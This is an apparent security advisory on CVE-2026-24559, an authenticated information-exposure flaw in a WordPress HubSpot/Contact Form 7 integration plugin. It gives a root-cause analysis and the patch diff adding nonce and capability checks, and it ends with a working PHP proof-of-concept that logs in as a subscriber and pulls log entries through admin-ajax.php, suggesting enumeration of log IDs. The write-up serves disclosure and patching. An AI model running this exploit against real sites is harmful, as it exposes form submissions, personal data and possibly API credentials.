Atomic Edge analysis of CVE-2026-24559:
The vulnerability is an authenticated information exposure flaw in the Integration for HubSpot and Contact Form 7 plugin for WordPress, versions up to and including 1.4.3. It allows attackers with Subscriber-level access or higher to extract sensitive plugin log data.
Atomic Edge research identified the root cause as a missing capability check and missing nonce verification in the `log_detail()` AJAX handler. The vulnerable function is located in the file `cf7-hubspot/includes/plugin-pages.php`. Before the patch, the function at line 1509 began directly by processing the user-supplied `id` parameter from the POST request to fetch and display log data, without performing any security checks.
The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress `admin-ajax.php` endpoint. The attacker must set the `action` parameter to `vxcf_hubspot_log_detail` to trigger the vulnerable `log_detail()` function. The request must also include the `id` parameter specifying the target log entry to retrieve. No nonce is required in the unpatched version.
The patch adds three security controls at the beginning of the `log_detail()` function. First, it adds a call to `check_ajax_referer(‘vx_crm_ajax’,’vx_crm_ajax’)` to verify the AJAX nonce. Second, it implements a capability check using `current_user_can($this->id.’_read_logs’)`. The function now terminates with an error message if the user lacks the required permission. These changes restrict log access to users with the specific `vxcf_hubspot_read_logs` capability, which is typically granted only to Administrator roles.
Successful exploitation leads to the exposure of sensitive data stored in the plugin’s logs. Atomic Edge analysis indicates this data likely includes form submission details, configuration information, and potentially API credentials or PII synced with HubSpot. This breach of confidentiality could facilitate further attacks or data harvesting.
--- a/cf7-hubspot/cf7-hubspot.php
+++ b/cf7-hubspot/cf7-hubspot.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form HubSpot
* Description: Integrates Contact Form 7 and <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with HubSpot allowing form submissions to be automatically sent to your HubSpot account
-* Version: 1.4.3
+* Version: 1.4.4
* Requires at least: 3.8
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-hubspot-plugin/
@@ -25,7 +25,7 @@
public $crm_name = "hubspot";
public $id = "vxcf_hubspot";
public $domain = "vxcf-hubspot";
- public $version = "1.4.3";
+ public $version = "1.4.4";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_hubspot";
--- a/cf7-hubspot/includes/plugin-pages.php
+++ b/cf7-hubspot/includes/plugin-pages.php
@@ -1509,6 +1509,11 @@
*
*/
public function log_detail(){
+ check_ajax_referer('vx_crm_ajax','vx_crm_ajax');
+ if(!current_user_can($this->id.'_read_logs')){
+ esc_html_e('You do not have permissions to access this page','cf7-hubspot');
+ return;
+ }
$log_id=$this->post('id');
$log=$this->data->get_log_by_id($log_id);
$data=json_decode($log['data'],true);
--- a/cf7-hubspot/templates/setting.php
+++ b/cf7-hubspot/templates/setting.php
@@ -55,7 +55,7 @@
$optional_scopes=' crm.schemas.services.read crm.objects.services.read crm.objects.services.write crm.schemas.courses.read crm.objects.courses.read crm.objects.courses.write crm.schemas.appointments.read crm.objects.appointments.read crm.objects.appointments.write crm.schemas.listings.read crm.objects.listings.read crm.objects.listings.write';
}
?>
- <a class="button button-default button-hero sf_login" data-id="<?php echo esc_html($client['client_id']) ?>" href="https://app.hubspot.com/oauth/authorize?scope=<?php echo urlencode('crm.objects.owners.read crm.objects.contacts.write crm.objects.companies.write crm.objects.companies.read crm.lists.read crm.schemas.contacts.read crm.objects.contacts.read crm.schemas.companies.read').'&optional_scope='.urlencode('automation content crm.lists.write crm.objects.carts.read crm.objects.carts.write crm.objects.custom.read crm.objects.custom.write crm.objects.deals.read crm.objects.deals.write crm.objects.invoices.read crm.objects.invoices.write crm.objects.leads.read crm.objects.leads.write crm.objects.line_items.read crm.objects.line_items.write crm.objects.orders.read crm.objects.orders.write crm.objects.quotes.read crm.objects.quotes.write crm.pipelines.orders.read crm.schemas.carts.read crm.schemas.custom.read crm.schemas.deals.read crm.schemas.invoices.read crm.schemas.line_items.read crm.schemas.orders.read crm.schemas.quotes.read files forms tickets'.$optional_scopes) ?>&state=<?php echo urlencode($link.'&'.$this->id."_tab_action=get_token&id=".$id."&vx_nonce=".$nonce);?>&client_id=<?php echo esc_html($client['client_id']) ?>&redirect_uri=<?php echo urlencode($client['call_back']); ?>" title="<?php esc_html_e("Login with HubSpot",'contact-form-hubspot-crm'); ?>" > <i class="fa fa-lock"></i> <?php esc_html_e("Login with HubSpot",'contact-form-hubspot-crm'); ?></a>
+ <a class="button button-default button-hero sf_login" data-id="<?php echo esc_html($client['client_id']) ?>" href="https://app.hubspot.com/oauth/authorize?scope=<?php echo urlencode('crm.objects.owners.read crm.objects.contacts.write crm.objects.companies.write crm.objects.companies.read crm.lists.read crm.schemas.contacts.read crm.objects.contacts.read crm.schemas.companies.read').'&optional_scope='.urlencode('automation content crm.lists.write crm.objects.carts.read crm.objects.carts.write crm.objects.custom.read crm.objects.custom.write crm.objects.deals.read crm.objects.deals.write crm.objects.invoices.read crm.objects.invoices.write crm.objects.leads.read crm.objects.leads.write crm.objects.line_items.read crm.objects.line_items.write crm.objects.orders.read crm.objects.orders.write crm.objects.quotes.read crm.objects.quotes.write crm.pipelines.orders.read crm.schemas.carts.read crm.schemas.custom.read crm.schemas.deals.read crm.schemas.invoices.read crm.schemas.line_items.read crm.schemas.orders.read crm.schemas.quotes.read files forms tickets crm.objects.products.read crm.objects.products.write'.$optional_scopes) ?>&state=<?php echo urlencode($link.'&'.$this->id."_tab_action=get_token&id=".$id."&vx_nonce=".$nonce);?>&client_id=<?php echo esc_html($client['client_id']) ?>&redirect_uri=<?php echo urlencode($client['call_back']); ?>" title="<?php esc_html_e("Login with HubSpot",'contact-form-hubspot-crm'); ?>" > <i class="fa fa-lock"></i> <?php esc_html_e("Login with HubSpot",'contact-form-hubspot-crm'); ?></a>
<?php
}
?></div>
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24559 - Integration for Contact Form 7 HubSpot <= 1.4.3 - Authenticated (Subscriber+) Information Exposure
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to WordPress to obtain cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // Save session cookies
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Exploit the vulnerable AJAX endpoint to fetch log details
// The 'action' parameter triggers the vulnerable log_detail() function.
// The 'id' parameter specifies which log entry to retrieve.
$post_data = array(
'action' => 'vxcf_hubspot_log_detail',
'id' => '1' // Target log ID; iterate to enumerate others
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Output the sensitive log data exposed by the plugin
echo "Exploit Response:n";
echo $response;
?>
